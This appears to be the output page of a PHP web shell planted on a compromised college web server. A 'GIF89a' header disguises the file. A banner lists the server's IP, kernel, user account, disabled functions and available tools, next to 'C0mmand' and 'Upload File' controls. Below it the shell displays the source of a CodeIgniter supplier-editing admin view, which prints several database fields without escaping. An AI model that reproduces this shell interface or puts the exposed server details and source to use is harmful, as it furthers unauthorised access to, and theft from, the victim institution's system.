GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.226.104.30 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../css/../cas/application/views/admin/hostel/../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Editing Supplier <?php echo stripslashes($vendor_info->ven_owner_name); ?> | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title> <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&display=swap"> <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>"> <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script> <script> var csrfHash = ''; </script> </head> <body> <div class="se-pre-con"></div> <section> <?php $this->load->view("admin/navAndHeader"); ?> <div class="main-content"> <div class="container-fluid content-top-gap"> <nav aria-label="breadcrumb"> <ol class="breadcrumb my-breadcrumb"> <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li> <li class="breadcrumb-item" aria-current="page"><a href="<?php echo site_url("admin/Vendor/"); ?>">Supplier Management</a></li> <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/Vendor/editVendor/" . $vendor_info->ven_id); ?>">Edit Supplier</a></li> </ol> </nav> <section class="forms"> <div class="card card_border py-2 mb-4"> <div class="cards__heading"> <h3><i class="fa fa-edit"></i> Edit Supplier => <b><?php echo stripslashes($vendor_info->ven_owner_name); ?></b></h3> </div> <div class="card-body"> <?php if (validation_errors() != false) { ?> <div class="alert alert-danger"> <strong><?php echo validation_errors(); ?></strong> </div> <?php } ?> <?php if ($this->session->flashdata('successMessage')) { ?> <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?> </strong> </div> <?php } ?> <?php if ($this->session->flashdata('errorMessage')) { ?> <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div> <?php } ?> <?php echo form_open_multipart(site_url('admin/Vendor/updateVendor'), ['name' => 'vendorUpdateFrm', 'id' => 'vendorUpdateFrm']); ?> <fieldset> <legend>Basic Info</legend> <div class="form-row"> <div class="form-group col-md-3"> <label for="venBusinessName" class="input__label">Supplier Firm Name *</label> <input type="text" class="form-control input-style" id="venBusinessName" name="venBusinessName" value="<?php echo stripslashes($vendor_info->ven_business_name); ?>" placeholder="Enter Supplier Firm Name" maxlength="100"> </div> <div class="form-group col-md-3"> <label for="venOwnerName" class="input__label">Representative Name *</label> <input type="text" class="form-control input-style" id="venOwnerName" name="venOwnerName" value="<?php echo stripslashes($vendor_info->ven_owner_name); ?>" placeholder="Enter Representative Name" maxlength="100"> </div> <div class="form-group col-md-3"> <label for="venPAN" class="input__label">PAN</label> <input type="text" class="form-control input-style" id="venPAN" name="venPAN" value="<?php echo $vendor_info->ven_pan; ?>" placeholder="Enter PAN Number" maxlength="10"> </div> <div class="form-group col-md-3"> <label for="venGSTIN" class="input__label">GSTIN</label> <input type="text" class="form-control input-style" id="venGSTIN" name="venGSTIN" value="<?php echo $vendor_info->ven_gstin_no; ?>" placeholder="Enter GSTIN Number" maxlength="15"> </div> </div> <div class="form-row"> <div class="form-group col-md-4"> <label for="venSource" class="input__label">Supplier Source</label> <select id="venSource" name="venSource" class="form-control input-style"> <option value="" <?php echo ($vendor_info->ven_source == "") ? "selected" : ""; ?>>Select Supplier Source</option> <option value="Univeristy Empanelled" <?php echo ($vendor_info->ven_source == "Univeristy Empanelled") ? "selected" : ""; ?>>Univeristy Empanelled</option> <option value="Yellow Page" <?php echo ($vendor_info->ven_source == "Yellow Page") ? "selected" : ""; ?>>Yellow Page</option> <option value="Government e-Marketplace" <?php echo ($vendor_info->ven_source == "Government e-Marketplace") ? "selected" : ""; ?>>Government e-Marketplace</option> <option value="O" <?php echo ($vendor_info->ven_source != "" && $vendor_info->ven_source != "Univeristy Empanelled" && $vendor_info->ven_source != "Yellow Page" && $vendor_info->ven_source != "Government e-Marketplace") ? "selected" : ""; ?>>Other(Please Specify In Next Box)</option> </select> </div> <div class="form-group col-md-8"> <label for="venOtherSource" class="input__label">Specify Source</label> <input type="text" class="form-control input-style" id="venOtherSource" name="venOtherSource" value="<?php echo stripslashes($vendor_info->ven_source); ?>" placeholder="In Case Of Other Source" maxlength="500" disabled="disabled"> </div> </div> </fieldset> <fieldset> <legend>Contact Info</legend> <div class="form-row"> <div class="form-group col-md-6"> <label for="venEmail" class="input__label">Email</label> <input type="text" class="form-control input-style" id="venEmail" name="venEmail" value="<?php echo $vendor_info->ven_email; ?>" placeholder="Enter Supplier Email" maxlength="80"> </div> <div class="form-group col-md-6"> <label for="venMobile" class="input__label">Mobile No.</label> <input type="text" class="form-control input-style" id="venMobile" name="venMobile" onkeypress="return event.charCode >= 48 && event.charCode <= 57" value="<?php echo $vendor_info->ven_mobile; ?>" placeholder="Enter Supplier Mobile No." maxlength="10"> </div> </div> <div class="form-row"> <div class="form-group col-md-4"> <label for="venAddrLineOne" class="input__label">Address Line 1</label> <input type="text" class="form-control input-style" id="venAddrLineOne" name="venAddrLineOne" value="<?php echo stripslashes($vendor_info->ven_addr_line_one); ?>" placeholder="Enter Address Line 1" maxlength="200"> </div> <div class="form-group col-md-4"> <label for="venAddrLineTwo" class="input__label">Address Line 2</label> <input type="text" class="form-control input-style" id="venAddrLineTwo" name="venAddrLineTwo" value="<?php echo stripslashes($vendor_info->ven_addr_line_two); ?>" placeholder="Enter Address Line 2" maxlength="200"> </div> <div class="form-group col-md-4"> <label for="venAddrLineThree" class="input__label">Address Line 3</label> <input type="text" class="form-control input-style" id="venAddrLineThree" name="venAddrLineThree" value="<?php echo stripslashes($vendor_info->ven_addr_line_three); ?>" placeholder="Enter Address Line 3" maxlength="200"> </div> </div> <div class="form-row"> <div class="form-group col-md-4"> <label for="venState" class="input__label">State</label> <select id="venState" name="venState" class="form-control input-style"> <option value="">Select State</option> <?php foreach ($states as $state) { $selected = ($state->state_id == $vendor_info->state_id) ? "selected" : ""; ?> <option value="<?php echo $state->state_id; ?>" <?php echo $selected; ?>><?php echo $state->state_name; ?></option> <?php } ?> </select> </div> <div class="form-group col-md-4"> <label for="venCity" class="input__label">City</label> <select id="venCity" name="venCity" class="form-control input-style"> <option value="">Select City</option> </select> </div> <div class="form-group col-md-4"> <label for="venZipcode" class="input__label">Zip Code</label> <input type="text" class="form-control input-style" id="venZipcode" name="venZipcode" onkeypress="return event.charCode >= 48 && event.charCode <= 57" value="<?php echo $vendor_info->ven_zipcode; ?>" placeholder="Enter Supplier Zip Code" maxlength="6"> </div> </div> <div class="form-row"> <div class="form-group col-md-4"> <label for="venWebsite" class="input__label">Website</label> <input type="text" class="form-control input-style" id="venWebsite" name="venWebsite" value="<?php echo $vendor_info->ven_website; ?>" placeholder="Enter Supplier Website" maxlength="100"> </div> <div class="form-group col-md-4"> <label for="venAltEmail" class="input__label">Alt. Email</label> <input type="text" class="form-control input-style" id="venAltEmail" name="venAltEmail" value="<?php echo $vendor_info->ven_alt_email; ?>" placeholder="Enter Supplier Alternate Email" maxlength="80"> </div> <div class="form-group col-md-4"> <label for="venAltMobile" class="input__label">Alt. Mobile No.</label> <input type="text" class="form-control input-style" id="venAltMobile" name="venAltMobile" onkeypress="return event.charCode >= 48 && event.charCode <= 57" value="<?php echo $vendor_info->ven_alt_mobile; ?>" placeholder="Enter Supplier Alternate Mobile No." maxlength="10"> </div> </div> <div class="form-row"> <div class="form-group col-md-12"> <label for="venRemarks" class="input__label">Remarks</label> <textarea class="form-control" id="venRemarks" name="venRemarks" maxlength="500" placeholder="Enter Remarks For Vender (If Any In Not More Than 500 Chars)"><?php echo $vendor_info->ven_remarks; ?></textarea> </div> </div> </fieldset> <input type="hidden" name="vendor_id" value="<?php echo $vendor_info->ven_id; ?>"> <button type="submit" class="btn btn-primary btn-block btn-style mt-4">Save Changes</button> <?php echo form_close(); ?> </div> </div> </section> </div> </div> </section> <script> $("#venState").on("change", function () { $(".se-pre-con").fadeIn("slow"); if (csrfHash === '') { csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>'; } if ($(this).val().trim() != "") { $.ajax({ url: '<?php echo site_url('admin/Locations/getActiveCitiesByState/') ?>', data: {state_id: $(this).val(), csrf_token: csrfHash}, type: 'POST', success: function (result) { var cityInfo = JSON.parse(result); $(".se-pre-con").fadeOut("slow"); $("#venCity").html(cityInfo.city_list); csrfHash = cityInfo.csrfHash; vendorUpdateFrm.csrf_token.value = csrfHash; } }); } }); $("#venSource").on("change", function () { if ($(this).val() === "O") { $("#venOtherSource").prop("disabled", false); $("#venOtherSource").focus(); } else { $("#venOtherSource").val(""); $("#venOtherSource").prop("disabled", true); } }); $(document).ready(function () { if ($("#venState").val() != "") { $(".se-pre-con").fadeIn("slow"); if (csrfHash === '') { csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>'; } $.ajax({ url: '<?php echo site_url('admin/Locations/getActiveCitiesByStateSelected/') ?>', data: {state_id: <?php echo $vendor_info->state_id; ?>, city_id:<?php echo $vendor_info->city_id; ?>, csrf_token: csrfHash}, type: 'POST', success: function (result) { var cityInfo = JSON.parse(result); $(".se-pre-con").fadeOut("slow"); $("#venCity").html(cityInfo.city_list); csrfHash = cityInfo.csrfHash; vendorUpdateFrm.csrf_token.value = csrfHash; } }); } if ($("#venSource").val() !== "") { if ($("#venSource").val() === "O") { $("#venOtherSource").prop("disabled", false); } else { $("#venOtherSource").val(""); $("#venOtherSource").prop("disabled", true); } } }); </script> <?php $this->load->view("admin/footer"); ?> </body> </html>